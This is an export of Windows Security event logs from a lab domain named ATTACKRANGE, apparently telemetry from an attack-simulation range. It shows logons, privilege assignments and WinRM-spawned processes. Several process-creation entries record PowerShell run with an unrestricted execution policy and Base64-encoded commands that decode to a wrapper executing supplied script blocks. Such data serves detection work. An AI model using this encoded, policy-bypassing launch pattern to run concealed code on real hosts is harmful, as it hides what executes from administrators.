The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246281
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246280
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246279
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd70
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc68
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246278
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc68
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc54
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246277
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x936F7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246276
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x936F7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246275
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246274
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246273
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc54
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xebc
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246272
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xebc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe80
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246271
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x934A1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246270
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x934A1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246269
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246268
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246267
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfd4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe80
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246266
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Process Information:
	New Process ID:		0xe80
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
